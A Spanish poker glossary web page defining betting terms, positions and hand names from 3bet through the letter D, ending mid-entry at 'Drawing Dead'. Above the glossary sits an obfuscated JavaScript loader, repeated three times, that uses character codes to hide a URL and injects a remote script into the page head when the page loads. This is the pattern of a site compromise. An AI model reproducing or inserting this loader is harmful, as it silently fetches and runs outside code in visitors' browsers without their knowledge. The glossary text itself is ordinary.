Glosario Poker Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,119,101,108,108,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,119,101,108,108,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,119,101,108,108,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

NÚMEROS

3bet/ 3bet

Cuando un jugador entra en una mano haciendo la primera subida, y sin que nadie haya igualado la primera subida, un segundo jugador resube la apuesta de ese rival. Esta resubida se conoce como 3bet. 

4bet/ 4bet

Siguiendo la definición de 3bet, el jugador que hizo una primera subida vuelve a resubir. 

4bet Cold/ 4bet en frío

Siguiendo la definición de 3bet, es el movimiento por el cual un tercer jugador resube ante la resubida del jugador que hizo 3bet contra el primer jugador que hizo la primera subida. 

5bet/ 5bet

Tras enfrentarse a un 4bet, el jugador que realizó previamente una 3bet vuelve a resubir. 

6max/ 6máx

Mesa de seis jugadores. También denominada Short-handed o mesa corta.

9max/ 9máx

Mesa de 9 jugadores. También conocida como Full-ring o mesa larga

ALFABETO

A

A-Game

Se define así al estado por el cual un jugador está en su máximo nivel de concentración mental y de atención (focus) durante sus sesiones de juego. Se define también como el juego de mayor nivel que un jugador es capaz de desarrollar.

Abandonar/ Foldear/ Fold

Acción de no continuar en una mano de póker, abandonando tanto las cartas de mano recibidas como las apuestas invertidas durante la misma.

Agresor/ Agressor

Se le denomina así al último jugador que subió o resubió en una mano, diciéndose en el argot del póker que dicho jugador es quien lleva/quien tiene la iniciativa en la ronda de apuestas siguiente (flop, turn, y/o river) 

Agresivo

Se dice del jugador que con frecuencia apuesta, sube y resube.

AF/ Aggression Factor/ Factor de Agresión

Valor por el que se puede medir la agresividad de un jugador, tanto en una ronda de apuestas concreta (preflop, flop, turn, river) como en el conjunto de todas las rondas de apuestas. La fórmula para su cálculo se basa en la suma de las veces tanto que apuesta como las veces que sube, y el resultado se divide por el número de veces que hace call. La fórmula es la siguiente:

AggF = (veces que apuesta + veces que resube) / veces que hace call

Air/ Aire

Se dice cuando, en relación a las cartas comunitarias, las cartas de mano de un jugador no tienen valor alguno y por tanto sus posibilidades de ganar la mano actual son muy escasas ó nulas en el caso de llevarla al showdown.

Aislar / Isolate/ ISO

Se refiere a la acción llevada a cabo por un jugador mediante una subida normalmente grande con intención de tratar de jugar heads-up (cara a cara) contra otro jugador al que ha catalogado como débil. Haciendo una subida más grande de lo habitual, dicho jugador presiona al resto de rivales para tratar de que abandonen y no entren a jugar la mano actual, intentando de esta manera aislarse para jugar postflop sólo contra el jugador débil.

All-in

Acción por la que un jugador apuesta todas las fichas que tiene en la mesa agotando la posibilidad tanto de apostar más como de igualar más apuestas, no siendo posible entonces abandonar su mano, y en el caso de ser igualado por otro rival, ambos jugadores llevarán sus manos al showdown.

Anna Kurnikova

En el argot del póker se denomina así a la mano inicial AK, tanto sean del mismo palo como si son de palos diferentes.

Ante(s)

Es una apuesta obligatoria que todos los jugadores de la mesa aportan al bote antes de que las cartas de mano sean repartidas. Además de en torneos, algunas salas de póker también partidas con antes en mesas de cash game. Su valor oscila entre 1/8 y 1/10 del valor de la Ciega Grande (BB).

Any Two

Hace referencia a cualquier par de cartas. Esta expresión suele emplearse cuando un jugador va a realizar un movimiento determinado y para ello no importa en absoluto cuáles sean sus dos cartas de mano, de hecho podría hacer el mismo movimiento sin siquiera mirar sus cartas propias. 

Apostar / Betear/ Bet

Acción por la cual un jugador aporta al bote parte de su propio stack. Si en una ronda un jugador ha hecho alguna apuesta, el resto de jugadores que queden por hablar sólo podrán igualar, abandonar ó resubir la apuesta del rival.

Apuesta de Bloqueo / Blocking bet/ Block-bet

Se trata de realizar una apuesta (habitualmente pequeña) con la intención de mantener el control del bote y evitar que el jugador rival pueda hacer una apuesta de tamaño más elevado contra la cual no estamos cómodos. Se conoce así a las apuestas realizadas por un jugador con intención de controlar el tamaño del bote actual (para no hacerlo crecer de forma desmedida por no tener una mano ó un proyecto fuerte) y así evitar (en el caso de que no apueste) que su rival haga una apuesta mayor a la que él habría realizado. Estas apuestas se hacen normalmente cuando se juega la mano fuera de posición y su tamaño es inferior a la mitad del bote en la calle actual.

Apuesta de continuación / Continuation bet / Cbet

Apuesta que hace en la calle actual el mismo jugador que realizó la última ó la única subida en la calle anterior.

Apuesta de continuación atrasada/ Delayed Cbet

Siguiendo la definición de Cbet, la Delayed Cbet se produciría cuando el jugador agresor en la ronda previa no continúa con su agresión en la ronda/calle actual, retrasándola a la ronda/calle siguiente en el caso de que su oponente no apueste tras él no apostar en la ronda/calle actual. Por ejemplo, un jugador sube preflop y otro rival iguala su apuesta. Sale el flop y el jugador que subió preflop no hace ninguna apuesta (no hace apuesta de continuación ó Cbet), su rival tampoco apuesta, sale la carta del turn y el primer jugador en subir preflop apuesta ahora. Este tipo de apuesta es la que se conoce como Delayed Cbet.

Apuesta de protección

Es la apuesta que se realiza para proteger cualquier mano hecha (top pair, pareja media, pareja baja, set, etc) que tiene valor en la calle actual pero que es altamente vulnerable a las cartas comunitarias que puedan salir en rondas posteriores porque podrían completar muchos proyectos del rival.

Apuesta de prueba/ Probe Bet

Apuesta realizada por un jugador con el objetivo de provocar reacciones en sus rivales y poder obtener información sobre sus manos. Suele ser de tamaño pequeño, siempre inferior a la mitad del tamaño del bote en la calle actual.

Apuesta por valor/ Value Bet

Es la apuesta que hace un jugador con intención de extraer rentabilidad de su mano. La hace porque considera que, de media, su mano está por encima del tipo de manos ó jugadas que su rival pudiera tener, significando por tanto que más de un 50% de las veces que la haga, su rival igualará su apuesta con suficiente cantidad de manos peores.

As alto/ As high/ Ace high

En la clasificación de las manos de póker, es la mano inmediatamente inferior en valor a la pareja más débil posible.

ALFABETO

B

Backdoor Draw/ Proyecto Runner-runner

Proyecto que forzosamente necesita de dos cartas para poder completarse. Este tipo de proyectos suceden con una frecuencia muy baja y necesitan de las cartas del turn y el river.

Bad Beat / Badbeat

Situación que se produce cuando la mano de un jugador va muy por delante de la de su rival pero las cartas que quedan por salir dan finalmente a su rival una mano ó jugada mejor, siendo muy poco probable que ello ocurriera. Poco probable quiere decir que las posibilidades finales de ganar la mano el jugador que iba por detrás eran de entre un 5% y un 10%.

Banca / Bankroll

Son los fondos monetarios con los que cuenta un jugador para jugar al poker. 

Bankroll Management (BRM)

Se suele denominar así a la gestión que sigue un jugador de sus fondos económicos destinados al juego, decidiendo en base a dicha gestión el nivel en el que juega, y cuándo bajar o subir de nivel según su ritmo de ganancias (winrate). El objetivo de una buena gestión de banca es reducir a cero la posibilidad de entrar en bancarrota.

Barrel

Forma coloquial de llamar a las apuestas de continuación. Los barrels son las apuestas realizadas por el jugador con iniciativa preflop en las sucesivas calles postflop. Tras tener iniciativa preflop, si el jugador apuesta en flop estaría haciendo un primer barrel ó Cbet, si continúa en el turn estaría haciendo un second barrel, y si continúa en el river, estaría haciendo un third barrel.

Belly Buster/ Gutshot/ Barrigona

Es un proyecto de escalera al que le falta una carta en medio para poder completarse. Por ejemplo, si nuestras cartas de mano son A7 y el flop sale 5-6-9, con un 8 completaríamos nuestro proyecto de gutshot.

Big blind/ BB

Es la segunda posición que se encuentra a la izquierda del botón, y también es la posición del último jugador en apostar/hablar durante la ronda preflop. El jugador en posición de ciega grande está obligado a poner 1bb (el valor de una ciega grande) antes de iniciarse el reparto de las cartas de mano a los jugadores de la mesa.

bb (en minúsculas)

Se utiliza para convertir en ciegas grandes el valor de las apuestas que se hagan en la moneda del casino físico o sala de poker online. Ejemplo: en una mesa de nl200$ (ciega grande = 2$) un jugador hace en flop una apuesta de 30$; en este caso diríamos que dicho jugador realizó una apuesta de 15bbs.

Blank / Brick / Carta Blanca / Blanca/ Ladrillo

Se refiere a la carta comunitaria (en turn y/o river) que en principio no hace que los oponentes liguen una mano fuerte o jugada/proyecto/draw importante.

Blind/ Ciega

Las ciegas son un tipo de apuesta obligatoria que se paga antes de repartirse las cartas. Tienen que pagarlas dos jugadores, cambiando sucesivamente en cada mano los que están obligados a ponerlas. Se llaman ciega grande y ciega pequeña, y son puestas por los dos jugadores que se encuentran inmediatamente a la izquierda del jugador que se encuentre en la posición del Botón (Button). El valor de la ciega pequeña e la mitad del valor que representa la ciega grande. Por ejemplo, en nl200$, la ciega grande vale 2$, y por tanto el valor de la ciega pequeña será de 1$, lo cual significa que antes de cada reparto de cartas a los jugadores de la mesa, siempre habrán 3$. El objeto principal y esencia del póker es ganar este dinero que de forma obligatoria han de poner en cada mano los jugadores en posiciones de Ciega Grande (BB) y Ciega Pequeña (SB), derivando de ello todo el abanico de movimientos que existen preflop y postflop.

Blind Defense (Defensa de Ciegas)

La defensa de ciegas es la contraposición al robo de ciegas, y la forma de defenderlas se realiza o bien subiendo la apuesta del oponente, o bien igualándola.

Blind Steal (Robo de Ciegas)

Al ser el póker un juego en el que dos jugadores han siempre de pagar las apuestas obligatorias (BB y SB), si les llega su turno y ningún jugador ha hecho antes una subida, los jugadores que se encuentran en zona/posición de robo (Cutoff, Button y Small Blind) harán subidas preflop con muchas manos (incluyendo manos débiles) para tratar de que las ciegas se retiren y abandonen el dinero que obligatoriamente han puesto.

Blocker

Se denomina Blocker a las cartas de mano de un jugador (una de ellas, o las dos) que hacen menos probable que su oponente pueda tener una mano o completar un proyecto concreto. Por ejemplo, si un jugador tiene como cartas de mano AK será menos probable que su rival tenga AA y KK como cartas de mano ya que tenemos blockers de Ases y de Reyes.

Bluff/ Bluffear/ Farol/ Farolear

Es un movimiento que hace un jugador para representar ante su oponente que tiene una mano mejor o peor que la que realmente tiene en ese momento, y con ello intentar o bien que su rival abandone (una mano o proyecto con alta posibilidad de superarle) y ganar el bote existente, o bien para inducir a que su rival continúe en la mano y hacer que siga poniendo dinero en el bote con una mano hecha peor o con un proyecto que tiene muy pocas posibilidades de completarse y que aunque se completase el jugador seguiría teniendo la mejor mano. Dentro de los bluffs se encuentran los bluff puros, es decir, manos que sólo pueden ganar si el jugador consigue que su oponente abandone su mano, y se encuentran también los semibluffs, que en la ronda de apuestas actual son manos débiles pero que en rondas posteriores podrían convertirse en la jugada ganadora, como podrían ser una escalera o un color

Bluff Catcher / Caza faroles

Es la mano que sólo puede ganar a faroles del rival. Por ejemplo, en river la mesa es 2-5-6-J-Q, un jugador apuesta y su rival iguala la apuesta con A-3, por lo que su rival ha pagado la apuesta con un bluffcatcher.

Board/ Mesa

Se refiere a las cartas comunitarias de la mesa, desde sólo el flop, hasta turn y river si llegan a mostrarse. También se refiere a la textura que presentan las cartas comunitarias. Por ejemplo, cuando en el flop las cartas comunitarias son bajas, se dice que el board es bajo o que es “de bajas” (de cartas bajas). Si abre la posibilidad a que haya muchos proyectos se dice que es un board “mojado, coordinado, wet” y, en contraposición, cuando apenas hay posibles proyectos o no es posible ninguno, se dice que es un board “seco, dry”.

Bote / Pot

Cantidad total de dinero que suman todas las apuestas realizadas hasta el momento actual por todos los jugadores involucrados en una mano de póker, cuyo valor se encuentra a la vista de todos en la mesa y suele definirse en bbs.

Bote multijugador / Bote comunitario/ Multiway Pot/ Family pot

Bote al que han llegado al flop más de 3 jugadores.

Bote principal / Main pot

Es el bote en el que participan todos los jugadores involucrados en una mano. Si por ejemplo hubiera un jugador con menos fichas que el resto de oponentes y apostase todas sus fichas yendo All-in durante una mano, se formaría un bote principal o “main pot”, y si el resto de jugadores involucrados continuase apostando, esas apuestas formarían parte de lo que se conoce como bote secundario o “side pot/secondary pot”.

Bote sin subir

Un bote sin subir es aquel en el que nadie ha subido antes del flop, o sea, donde los jugadores que han entrado en la mano lo han hecho únicamente igualando el valor de la ciega grande.

Bote subido

Un bote subido es aquel en el que al menos un jugador hizo una subida antes del flop.

Botón/ BTN/ BT/ Button/ BU

Es la posición que se encuentra justo a la derecha de la posición de la Ciega Pequeña o Small Blind. El jugador en esta posición será siempre el último en hablar en las rondas postflop (flop, turn y river).

Bottom Pair

Es la pareja formada por una de las cartas de mano recibidas por un jugador y la carta más baja de las cartas comunitarias de la mesa.

Bottom Range

La parte más débil de un rango de manos

Bottom Two Pair/ Bottom Two

Es la doble pareja más baja posible formada con las cartas comunitarias más bajas de la mesa y las dos cartas de mano de un jugador.

Break Even

Se dice que un jugador, una jugada, o una sesión es break even cuando el resultado es igual o muy cercano a cero. O sea, no hay ni ganancias ni pérdidas, o en cualquiera de los dos casos, son mínimas.

Broadway

Se refiere a las cartas altas T, J, Q, K y A.

Broke/ Quebrar/ Bustear la Banca

Se dice que un jugador ese encuentra en quiebra o bancarrota cuando no le queda dinero, o lo que es lo mismo, cuando ha perdido en las mesas todo su Bankroll.

Bumhunter/ Bumhuntear

Se denomina bumhunter al jugador que monitorea mesas de cash en busca de jugadores recreacionales para únicamente jugar contra ellos, y evitando en lo posible jugar en mesas contra otros jugadores regulares en caso de no haber en esas mesas el perfil que anda buscando. Bumhuntear es el hecho de llevar a cabo dicha acción de búsqueda.

Buscador de sets/ Setminer/ Setmining

Es el jugador que recibiendo como cartas de mano (normalmente parejas medias y bajas) entra preflop en el bote igualando las apuestas con el objetivo de ligar un set en el flop, o en rondas posteriores si llega a ver todas las cartas comunitarias. Setmining en inglés es la acción de igualar llevada a cabo por el setminer en busca de ligar su set

Bust Out/ Bustear/ Busted/ Busted draw

Significa quedar eliminado en un torneo o perder todo el stack en una mesa de cash. En español suele decirse “busto, quedé busto, me bustearon, bustear, busteé”. El término “Busted draw” se refiere a cuando un proyecto no se ha completado, como por ejemplo “busted straightdraw” (proyecto fallido de escalera) o “busted flushdraw” (proyecto fallido de color).

Busto

Decimos que un jugador está “busto” o ha “busteado” cuando ha caído en bancarrota. Este término también es usado cuando un jugador ha sido eliminado de un torneo.

ALFABETO

C

Call/ Igualar/ Pagar

Acción consistente en igualar la apuesta de un oponente.

Call 3bet

Es el movimiento por el cual un jugador entra en la mano haciendo una subida, otro oponente hace una resubida y el jugador que abrió la mano iguala la subida de su oponente.

Calle / Street

Forma general de nombrar a cada una de las 4 rondas de apuestas (preflop, flop, turn y river).

Calling Station

Jugador normalmente pasivo que no abandona fácilmente su mano, igualando todo tipo de apuestas sin tener en cuenta la fuerza de su mano en relación a la textura de la mesa, tanto con manos fuertes como con manos débiles. No es buena idea tratar de farolear a rivales con este perfil, por lo que jugando contra él hay que apostar grande nuestras manos por valor.

Card Dead

Significa estar durante mucho tiempo recibiendo cartas de mano injugables en las posiciones de la mesa en las que las hemos recibido.

Cartas comunitarias/ Community cards

Son las 5 cartas totales que salen en el flop, turn y river. Son cartas comunitarias porque pueden ser utilizadas por todos los jugadores para intentar formar la mejor jugada posible con 5 cartas.

Card Removal Effect/ Efecto de la Eliminación de Cartas

Cuando un jugador tiene un par de cartas determinado, ese hecho hace menos probable que su rival pueda tenerlas en sus cartas de mano. Por ejemplo, si tenemos AQ como cartas de mano, esto hace menos probable que nuestro rival tenga en su rango manos como AK y QQ, lo cual reduce el número total de combinaciones posibles que el rival puede tener en su rango de dichas manos ya que el número de combinaciones posibles de ellas disminuye debido al factor del “Card Removal Effect”.

Carta alta/ High card

Es la carta más alta cuando no hay una jugada mejor por parte de un jugador (por ejemplo, tendremos Q high (dama alta) en una mesa 3-2-7-9-9). También se refiere al kicker cuando ninguno de los jugadores que intervienen en una mano ha ligado al menos una pareja, ganando el bote quien tenga el kicker más alto.

Carta gratis/ Free Card

Se refiere a cuando un jugador consigue ver la carta de la siguiente calle simplemente haciendo check en la calle actual, sin tener que invertir dinero.

Cartas iniciales/ Hole cards

Son las dos cartas de mano que recibe cada jugador en una mano de póker. 

Cartas muertas/ Dead cards/ Burned cards

Son las cartas que no están en la baraja porque fueron foldeadas por algún rival que ya no se encuentra en la mano. Si por ejemplo un jugador abandona su mano recibida Q3o y otros dos jugadores tienen AA y QQ, la posibilidad de éste último de que salga una Q entre las cartas comunitarias se ha reducido a la mitad, mientras que para el jugador con AA siguen quedando en la baraja otros dos ases.

Cashier

Zona de las salas online donde los jugadores tienen el dinero del que disponen para jugar con su cuenta. Desde él se efectúan las retiradas de dinero y el dinero con el que jugamos en las mesas, y a él llega el dinero cuando abandonamos las mesas de juego y también cuando ingresamos fondos utilizando los medios permitidos por las salas para ello.

Cash Game/ Juego por dinero real

Son las partidas de dinero real en donde las fichas que cada jugador tiene en la mesa representan la cantidad de dinero exacta con la que en cada momento están jugando en ellas.

Cash Out/ Withdrawal/ Retirada de Fondos

Se refiere a la acción por parte de un jugador de retirar dinero de los fondos de su cuenta de póker a través del medio de pago que haya elegido.

Check/ Pasar

Se refiere al hecho de no apostar cuando le llega el turno de hablar a un jugador, por lo que tras su decisión le llegará el turno al siguiente jugador de la mesa. Sólo podemos hacer check si nadie apostó antes de nuestro turno.

Check Behind / Pasar con posición (XB)

En la ronda o calle actual, hace referencia a cuando un jugador es el último en hablar, y cuando le llega su turno decide pasar después que otros jugadores hayan hecho lo mismo, pasando así a la siguiente calle o al showdown en caso de estar ya en el river y sin que haya habido más apuestas.

Check-call (XC)

Estando sin posición (esto es, después de un jugador hacer check, aún queda por hablar otro jugador tras él), un jugador hace check, su oponente hace una apuesta, y el jugador que hizo check iguala dicha apuesta.

Check Down (XD)

Movimiento que se produce en el river cuando todos los jugadores involucrados en la mano pasan (ninguno hace una apuesta) y llevan sus manos hasta el showdown.

Check-raise (XR)

Similar al movimiento de CheckCall, sólo que en lugar de pasar para igualar, el jugador sin posición pasa para a continuación subir la apuesta de su rival.

Chips

Monto de fichas que representan el dinero que tiene cada jugador de la mesa.

Chop/ Split/ Split Pot

Significa dividir el bote a partes iguales entre todos los participantes de una mano de póker cuando se produce un empate entre todos ellos. Por ejemplo, tres jugadores llegan al showdown, ninguno de ellos tiene una pareja en sus cartas de mano ni ligaron una pareja con las cartas comunitarias, y la mesa es 2-2-2-3-3.

Ciega/ Blind

Apuesta obligatoria que pagan los dos jugadores que se encuentran inmediatamente a la izquierda de la posición del Botón (llamados Ciega Pequeña o SB, y Ciega Grande o BB) y que deben pagar antes de que sean repartidas las cartas de mano. Estas apuestas obligatorias son la esencia del juego y el motivo que hace que los jugadores jueguen manos, ya que, si hay dinero en el bote, siempre habrá alguien que quiera llevárselo. En contraposición, que dos jugadores hayan de poner este dinero de forma obligatoria en cada mano que se reparte, supone un coste que empuja a que los participantes decidan moverse y no quedarse esperando a recibir sólo “las buenas”, ya que esperar a recibir una buena mano puede suponer estar mucho tiempo en la mesa pagando las apuestas obligatorias (las ciegas/blinds), y la frecuencia con la que se recibe las mejores cartas posibles es más bien baja.

Ciega grande/ Big blind (BB)

Es la mayor de las dos apuestas obligatorias (ciegas/blinds), y ha de ponerla el jugador que se encuentra en la segunda posición a la izquierda de la posición del Botón.

Ciega muerta/ Dead blind/ Penalty Blind

Es la apuesta obligatoria que ha de poner un jugador que acaba de sentarse en la mesa y que quiere recibir cartas de mano sin esperar a que le toque estar en la posición de la Ciega Grande, por lo que antes de recibir sus cartas, en la mesa habrá el dinero de la SB y de la BB, más el dinero que este jugador ha puesto en concepto de “ciega muerta”, pasando el bote a ser de 2,5bbs en vez de la 1,5bb habitual de cada mano.

Ciega pequeña / Small blind (SB)

Es la menor de las dos apuestas obligatorias (ciegas/blinds), y ha de ponerla el jugador que se encuentra en la primera posición a la izquierda de la posición del Botón.

Click it back (CiB)

Acción consistente en realizar una resubida mínima ante una subida de un rival, y para realizarla basta con clickar en el botón de resubir del software de la sala de póker (sin tener que arrastrar la barra numérica de apostar, denominada slider en inglés).

Coinflip

Situación en la que dos jugadores que apostaron todo su dinero yendo All-in, y las manos de ambos tienen probabilidades de ganar prácticamente idénticas, cerca del 50%, siendo la menor de ellas en torno al 45% y la mayor en torno al 55%.

Cold 4bet/ Open 4bet/ 4bet en frío

Se produce cuando un jugador realiza un 4bet (resubida frente a una 3bet) sin estar previamente implicado en la mano, o sea, un primer jugador abre su mano realizando una apuesta, a continuación un segundo jugador resube la apuesta realizada por el primero (hace un 3bet), y seguidamente un tercer jugador al que aún no le había llegado el turno resube la apuesta del jugador que hizo el 3bet (hace 4bet). A esta apuesta se la conoce como “cold 4bet”, “open 4bet”, o “4bet fría o en frío”.

Cold call

Se refiere a cuando preflop un jugador iguala la subida inicial de un jugador que le antecede y sin haber puesto dinero alguno previamente en el bote.

Cold call 3bet (Farha)

Este movimiento se conoce popularmente como “Farha”. Tiene lugar cuando un jugador iguala una 3bet de uno de sus oponentes sin haber realizado éste la subida previa al 3bet (si, por el contrario, dicho jugador hubiese realizado la subida, se trataría de un call 3bet). Por ejemplo: el botón realiza una subida a $3, la ciega pequeña resube a $9 y el jugador en la ciega grande iguala a $9. Decimos, por tanto, que la ciega grande ha hecho un cold call a una 3bet o un “Farha”.

Color / Flush

Mano de poker formada por cinco cartas del mismo palo. Tiene menor valor que el full-house y mayor que la escalera.

Combo draw

Se denomina así a la mano de un jugador que en combinación con las cartas comunitarias de la mesa tiene probabilidades de completar dos o más proyectos.

Comisión / Rake

Es el porcentaje que se lleva la sala de póker por cada bote que se forma en concepto de poner la plataforma y las características de su software de juego al servicio de los jugadores (reparto de cartas, botones de apuesta, colores a asignar a los rivales, colores del anverso y del reverso de las cartas, notas escritas, etc).

Commited/ Pot commited/ Comprometido/ Comprometido con el bote

Se dice que un jugador se encuentra en esta situación cuando ha invertido en el bote tanta cantidad de su propio stack que en caso de enfrentarse a un All-in no podría nunca abandonar su mano. Es un error muy común decir que en dicha situación el jugador no puede abandonar su mano, en realidad debe hacerlo si estima que sus probabilidades de ganar el bote son menores que las probabilidades que le ofrece el igualar la apuesta de su rival.

Completar

Acción que se produce cuando en la ronda preflop de una mano todos han foldeado su mano, le llega el turno a la ciega pequeña, y decide pagar la diferencia entre su ciega y la ciega grande. Se dice entonces que la ciega pequeña completa la ciega. La acción se conoce como “Limp” o “Limpear” cuando algún jugador situado en posición anterior a la posición de la ciega pequeña entra en una mano igualando el importe de la ciega grande.

Conectividad/ Connectivity

Hace referencia a la propiedad de conexión de las cartas cuyo valor numérico es próximo entre ellas. Esta propiedad es mayor cuanto más cercanos se encuentren sus valores entre ellas, y menor cuanto mayor sea la distancia entre ellas. Por ejemplo, la conectividad de dos cartas como 8-7 es alta por ser sus valores consecutivos entre sí, mientras que la conectividad de un par de cartas como T-4 es muy baja.

Conectores / Connectors

Cartas iniciales consecutivas o muy cercanas en valor las cuales tienen mayor probabilidad de ligar proyectos de escalera. Ejemplo de estos conectores serían: T-9, 9-8, 6-5, etc. Propiedad que pueden tener un grupo de cartas describiendo cómo de consecutivas son las cartas. Por ejemplo, si las cartas de la mesa en Texas Hold’em son cercanas en valor las unas a las otras, entonces se dice que están conectadas. Una conectividad alta significa que las cartas son consecutivas, como por ejemplo rey, reina, jota. Una conectividad baja significa que los valores de las cartas no son cercanos los unos a los otros.

Conectores del mismo palo / Suited connectors

Cartas de mano recibidas del mismo palo y de valor consecutivo o muy cercano entre sí, con grandes posibilidades de ligar proyectos de escalera, de color, o ambos al mismo tiempo (combodraws). Según su cercanía, se las llama conectores de un hueco (1 gap en inglés) cuando hay una separación mínima entre ellas (por ejemplo 7-5 del mismo palo) y conectores de dos huecos (2 gap en inglés) cuando hay dos valores de separación entre ellas (por ejemplo, 7-4 del mismo palo).

Control del Bote / Pot control

Se dice que un jugador está controlando el tamaño del bote, o bien cuando no apuesta (check/pasa), o bien cuando hace una apuesta pequeña con intención de mantener el bote pequeño. 

Cooler

Se refiere a cuando un jugador tiene una mano muy fuerte, pero su rival tiene una mano aún mejor (por ejemplo, KK del jugador vs AA de su rival). Es una situación donde el jugador inevitablemente perderá todas sus fichas, ya que la mayoría de veces ambos acabarán yendo All-in, bien en la ronda preflop, o bien en calles posteriores. Los coolers pueden ser tanto a favor (cuando la peor mano de las dos termina ganando a la mano más fuerte) como en contra.

Cowboys/ King Kong

Forma de llamar a la pareja de reyes, KK, recibida como cartas de mano.

Crackear

Se refiere a cuando una mano muy fuerte y que desde el principio era muy favorita es finalmente vencida por otra mano cualquiera que inicialmente era peor.

Crupier / Croupier / Dealer

Es la persona encargada de repartir las cartas en la mesa de poker, velar por que se cumplan las normas y administrar los diferentes botes.

Crying Call

Se dice de la acción de un jugador cuando paga una apuesta en el river de forma rentable debido a las probabilidades que dicha apuesta le ofrece de ganar el bote, pero al mismo tiempo incómoda porque piensa que va a perder con una alta frecuencia contra una mano mejor y aún así considera que ha de igualarla.

Cubrir / Cover

Se dice que un jugador cubre a otro cuando su stack o pila de fichas es mayor que el de su rival, y en caso de jugar una mano por todas las fichas, al jugador que cubre al otro aún le quedarán fichas en caso de ambos acabar All-in.

Cutoff (CO)

Posición en la mesa de poker que está inmediatamente a la derecha del botón. En las rondas postflop (flop, turn y river) tendrá siempre posición respecto al resto de rivales excepto si el Botón entra en la mano. Es la 2ª mejor posición en la mesa.

ALFABETO

D

Deep Stack

En mesas de cash se refiere a los stacks de más de cien ciegas (100bbs).

Defensa de ciegas / Blinds defense

Se refiere a la acción preflop por la que cualquiera de los dos jugadores en las posiciones de BB y/o SB defienden el dinero que han puesto en forma de apuesta obligatoria antes de ser repartidas las cartas de mano. La defensa es llevada a cabo mediante una resubida (3bet, cold4bet) o mediante igualar una subida (call) cuando la mano viene subida por algún jugador, o bien mediante ISO cuando la mano viene limpeada porque uno o más jugadores hicieron Limp preflop.

Delayed Continuation Bet

Acción en la cual el jugador que realizó una subida antes del flop no realiza una apuesta de continuación en el flop, su rival tampoco apuesta en el flop (ambos hacen check), y tras salir la carta del turn , el jugador que no continuó la agresión en el flop apuesta en esta calle.

Depósito

Acción de depositar fondos en el cajero de una sala de poker online.

Desconocido

Decimos que un adversario es desconocido cuando no tenemos manos contra él o tenemos muy pocas, por lo que no tenemos información sobre su estilo de juego.

Dinero muerto / Dead money

Se refiere al dinero aportado al bote por jugadores que han foldeado su mano en cualquiera de las rondas.

Directo/ Straight

Se dice de los jugadores de póker cuyo estilo de juego está directamente relacionado con la fuerza de sus manos. Hacen apuestas por valor si tienen una mano fuerte y rara vez farolean sus manos. También se les conoce como jugadores ABC.

Doble / Double barrel

Apuesta de continuación hecha por un jugador en el turn (tras haber hecho una subida en la ronda preflop y hacer una apuesta de continuación (Cbet) en el flop.

Dominar

En referencia a las cartas de mano recibidas por dos jugadores, e dice que una mano está dominada por otra mano cuando ninguno de los jugadores tiene una pareja de mano, y las cartas más altas de ambos son iguales pero el kicker de uno de ellos es mayor que el del otro jugador. Incluso si ambos ligan una pareja con su carta más alta, el jugador con kicker más alto siempre ganará la mano.

Donk Bet/ Apuesta del burro

Es la apuesta realizada por un jugador que se encuentra fuera de posición y que no tuvo iniciativa (no fue el agresor) en la calle anterior, sino que simplemente igualó la apuesta hecha por su rival. Entre jugadores profesionales se dice que es un movimiento perdedor y/o de jugadores poco hábiles, de ahí la procedencia de esta expresión.

Dos del mismo palo/ 2 suited

Se refiere a cuando un jugador recibe como cartas de mano dos cartas del mismo palo.

Double Belly Buster / Doble Gutshot

Proyecto doble de escalera interna, que consiste en poder formar una escalera si en rondas posteriores sale una de las cartas para completarlo (por ejemplo, el flop viene como Q-9-6 y el jugador tiene T-8, si en turn o river sale una J o un 7 el jugador completará una escalera).

Double Delayed Continuation Bet

A semejanza de la Delayed Cbet, pero el jugador con iniciativa preflop retrasa la Cbet del flop y la hace en el river, y la condición para poder llamar así a esta apuesta es que ni en flop ni en turn hubiera apuestas por parte de ninguno de los rivales.

Down Swing/ Racha mala

Hace referencia a un período de tiempo largo en el que el jugador tiene resultados negativos en su juego que se traducen en pérdidas. Es lo contrario a tener un upswing.

Draw

En general es una mano no hecha que necesita una o más cartas para poder completarse, aunque también hay manos hechas que a la vez tienen un proyecto, como por ejemplo tener 44 y que la mesa sea 2-3-6.

Drawing Dead

